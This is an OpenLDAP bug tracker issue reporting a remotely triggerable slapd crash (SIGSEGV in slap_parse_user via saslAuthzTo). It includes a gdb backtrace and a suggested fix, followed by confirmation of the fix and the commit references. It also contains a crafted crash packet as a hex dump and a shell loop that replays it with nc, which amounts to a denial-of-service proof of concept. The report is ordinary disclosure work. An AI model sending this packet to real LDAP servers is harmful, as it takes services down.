Issue 9413 - Packet sometimes crashes openldap due to SIGSEGV in slap_parse_user, related to saslAuthzTo

Status: VERIFIED FIXED
Alias: None
Product: OpenLDAP
Component: slapd (show other issues)
Version: unspecified
Hardware: All All
Importance: --- normal
Target Milestone: 2.4.57
Assignee: OpenLDAP project
URL:
Keywords:
Depends on:
Blocks:

Reported: 2020-12-01 10:16 UTC by phasip
Modified: 2021-01-18 20:06 UTC (History)
CC List: 0 users
See Also:

Attachments

Add an attachment (proposed patch, testcase, etc.)

Note

You need to log in before you can comment on or make changes to this issue.

phasip **2020-12-01 10:16:44 UTC** Description

```
A packet sometimes crashes openldap.

Thread 3 "slapd" hit Breakpoint 1, slap_parse_user (
    id=id@entry=0x7fff8aace860, user=user@entry=0x7fff8aace870,
    realm=realm@entry=0x7fff8aace880, mech=mech@entry=0x7fff8aace890)
    at saslauthz.c:163
163                     realm->bv_val = ber_bvchr( mech, '/' );
(gdb) x/x mech->bv_len
0xfffffffffffffffd:     Cannot access memory at address 0xfffffffffffffffd
(gdb) c
Continuing.

Thread 3 "slapd" received signal SIGSEGV, Segmentation fault.
__memchr_avx2 () at ../sysdeps/x86_64/multiarch/memchr-avx2.S:177


Packet:
    00000000: 3076 0201 8c66 3382 00cb 1e06 437e 0100  0v...f3.....C~..
    00000010: 3b3e 7d0b 7361 736c 4175 7468 7a54 6f42  ;>}.saslAuthzToB
    00000020: 113d 001f 1500 4707 753a 3a2e 4b37 7878  .=....G.u::.K7xx
    00000030: 017d c420 5bbb 19a8 1dad ef0c be46 0407  .}. [........F..
    00000040: 0fda f98d d6d3 f220 eae1 34a9 2bb2 d8a3  ....... ..4.+...
    00000050: 49af c341 69c1 4cd9 f00e e75c 05d6 2f90  I..Ai.L....\../.
    00000060: 79a6 930c 16e6 724e 135a 8d4c 9bdf 33db  y.....rN.Z.L..3.
    00000070: f3b9 256c 1a26 2060 2154 26ec 7cc7 3096  ..%l.& `!T&.|.0.
    00000080: 6fdc 92ea 295d 816d 8146 563b 3688 b2b4  o...)].m.FV;6...
    00000090: 2c20 d668 c91c 8c7a eb0d 3aca 8dbd 6fe1  , .h...z..:...o.
    000000a0: 58dd de97 bd3e 1d6a 13db 55fc be4a b5f4  X....>.j..U..J..
    000000b0: c660 f734 935d 5eea af28 8ef4 332c e9e3  .`.4.]^..(..3,..
    000000c0: e66d 1ab5 6372 c5f4 7802 f6f8 3301 7d5d  .m..cr..x...3.}]
    000000d0: 0f0b 5f38 e453 ec4e b733 a72f c687 2e0c  .._8.S.N.3./....
    000000e0: 009b 2588 9f8a a5                        ..%....



Gdb output:
    Starting program: /openldap/servers/slapd/slapd -h ldap://:1389/ -d 256
    [Thread debugging using libthread_db enabled]
    Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
    5fc616d5 @(#) $OpenLDAP: slapd 2.X (Dec  1 2020 08:25:21) $
        @1f8f0c8d0e86:/openldap/servers/slapd
    5fc616d5 slapd starting
    [New Thread 0x7fff8b2d3700 (LWP 27)]
    [New Thread 0x7fff8aad2700 (LWP 28)]
    5fc616d5 conn=1000 fd=11 ACCEPT from IP=[::1]:43154 (IP=[::]:1389)
    [New Thread 0x7fff8a2d1700 (LWP 29)]
    5fc616d5 conn=1000 op=0 MOD dn=""
    5fc616d5 conn=1000 op=0 MOD attr=saslAuthzTo
    [Switching to Thread 0x7fff8aad2700 (LWP 28)]

    Thread 3 "slapd" hit Breakpoint 1, slap_parse_user (
        id=id@entry=0x7fff8aace860, user=user@entry=0x7fff8aace870,
        realm=realm@entry=0x7fff8aace880, mech=mech@entry=0x7fff8aace890)
        at saslauthz.c:163
    163                 realm->bv_val = ber_bvchr( mech, '/' );
    (gdb) x/x mech->bv_len
    0xfffffffffffffffd: Cannot access memory at address 0xfffffffffffffffd
    (gdb) x/x mech
    0x7fff8aace890:     0xffffffd
```

```
    (gdb) x/x mech->bv_val
    0x7fff8aace8a4:     0x0078374b
    (gdb) c
    Continuing.

    Thread 3 "slapd" received signal SIGSEGV, Segmentation fault.
    __memchr_avx2 () at ../sysdeps/x86_64/multiarch/memchr-avx2.S:177
    177 ../sysdeps/x86_64/multiarch/memchr-avx2.S: No such file or directory.
    (gdb) bt
    #0  __memchr_avx2 () at ../sysdeps/x86_64/multiarch/memchr-avx2.S:177
    #1  0x00005555555cb6e1 in slap_parse_user (id=id@entry=0x7fff8aace860,
        user=user@entry=0x7fff8aace870, realm=realm@entry=0x7fff8aace880,
        mech=mech@entry=0x7fff8aace890) at saslauthz.c:163
    #2  0x00005555555cbf56 in authzPrettyNormal (val=val@entry=0x7fff7c0013e0,
        normalized=normalized@entry=0x7fff8aad09b0, ctx=ctx@entry=0x0,
        normalize=normalize@entry=0) at saslauthz.c:632
    #3  0x00005555555cdaa2 in authzPretty (syntax=<optimized out>,
        val=0x7fff7c0013e0, out=0x7fff8aad09b0, ctx=0x0) at saslauthz.c:905
    #4  0x000055555559e6ce in ordered_value_pretty (ad=ad@entry=0x5555557934c0,
        val=0x7fff7c0013e0, out=out@entry=0x7fff8aad09b0, ctx=ctx@entry=0x0)
        at value.c:511
    #5  0x000055555559a505 in slap_mods_check (op=op@entry=0x7fff7c000ff0,
        ml=0x7fff7c101660, text=text@entry=0x7fff8aad1aa0,
        textbuf=textbuf@entry=0x7fff8aad0a20 "saslAuthzTo",
        textlen=textlen@entry=256, ctx=ctx@entry=0x0) at modify.c:574
    #6  0x000055555559b77e in do_modify (op=0x7fff7c000ff0, rs=0x7fff8aad1a80)
        at modify.c:165
    #7  0x0000555555583a59 in connection_operation (ctx=ctx@entry=0x7fff8aad1ba0,
        arg_v=0x7fff7c000ff0) at connection.c:1163
    #8  0x00005555555840c0 in connection_read_thread (ctx=0x7fff8aad1ba0, argv=0xb)
        at connection.c:1314
    #9  0x0000555555570dbc in ldap_int_thread_pool_wrapper (xpool=0x555555798340)
    --Type <RET> for more, q to quit, c to continue without paging--
        at tpool.c:1051
    #10 0x00007ffff7faa609 in start_thread (arg=<optimized out>)
        at pthread_create.c:477
    #11 0x00007ffff7ed1293 in clone ()
        at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
    (gdb)


Testing:
    (Alternative to using docker hub: docker build -t phasip/openldap
https://github.com/Phasip/openldap-docker.git#main)
    (Also works on 2.4.56 bitnami image bitnami/openldap )
    docker run --privileged -it --net=host --entrypoint gdb phasip/openldap
/openldap/servers/slapd/slapd -ex 'set args -h ldap://:1389/ -d 256' -ex 'run'
    while true; do echo -en
'\x30\x76\x02\x01\x8c\x66\x33\x82\x00\xcb\x1e\x06\x43\x7e\x01\x00\x3b\x3e\x7d\x0b\x73\x61\x73\x6c\x41\x75\x74\x68\x7a\x54\x6f\x42\x11\x3d\
| nc localhost 1389; done

Bugfix:
    It may be enough to fix the memch->bv_len calculation on line 161 of
saslauthz.c.
    However, as we have reported multiple issues in saslauthz there could be some
common cause for all of them.
    saslauthz.c:161: mech->bv_len = user->bv_val - mech->bv_val - 1;
```

Howard Chu **2020-12-01 21:33:41 UTC** Comment 1

(In reply to phasip from comment #0)

```
> A packet sometimes crashes openldap.
>
> Thread 3 "slapd" hit Breakpoint 1, slap_parse_user (
>     id=id@entry=0x7fff8aace860, user=user@entry=0x7fff8aace870,
>     realm=realm@entry=0x7fff8aace880, mech=mech@entry=0x7fff8aace890)
>     at saslauthz.c:163
> 163                     realm->bv_val = ber_bvchr( mech, '/' );
> (gdb) x/x mech->bv_len
> 0xfffffffffffffffd:   Cannot access memory at address 0xfffffffffffffffd
> (gdb) c
> Continuing.
```

Fixed in git master

Quanah Gibson-Mount **2020-12-02 22:00:02 UTC** Comment 2

trunk:

- e394bcfa

by Howard Chu at 2020-12-01T19:05:06+00:00
ITS#9413 fix slap_parse_user

RE24:

- d169e795

by Howard Chu at 2020-12-02T21:48:18+00:00
ITS#9413 fix slap_parse_user

Format For Printing - XML - Clone This Issue - Top of page